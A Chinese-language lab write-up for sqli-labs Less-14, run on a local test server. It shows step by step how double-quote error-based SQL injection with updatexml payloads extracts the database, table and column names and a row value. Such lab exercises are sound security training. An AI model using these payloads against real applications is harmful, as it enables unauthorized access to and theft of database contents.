摘要 {#摘要}
本次实验是针对Less-14注入漏洞的实验过程和优化注入语句的方法。我们首先通过构造payload判断是否存在注入漏洞,然后利用updatexml函数获取数据库的名称、表名、列名以及相应的数据。需要注意的是,本题是双引号的报错注入,因此在构造注入语句时需要注意引号的使用。注入漏洞的存在会给系统带来严重的安全威胁,因此需要加强对系统的安全性管理,避免注入漏洞的发生。
前言 {#前言}
这题跟Less-13的区别就是他是双引号的报错注入
前期准备 {#前期准备}
开启phpstudy,开启apache服务以及mysql服务
实验环节 {#实验环节}
浏览器访问Less-14 {#浏览器访问Less-14}
http://127.0.0.1/sqli-labs-master/Less-14/
判断是否存在注入 {#判断是否存在注入}
?id=1" and 1=1 -- xz
#页面报错说明存在注入
判断库名 {#判断库名}
"and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- xz
#可得出我们的库名是security
判断表名 {#判断表名}
"and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- xz
#说明我们的表名是emails
判断列名 {#判断列名}
"and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- xz
#说明我们的列名是id
"and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- xz
#说明我们emails下的id列的数据是1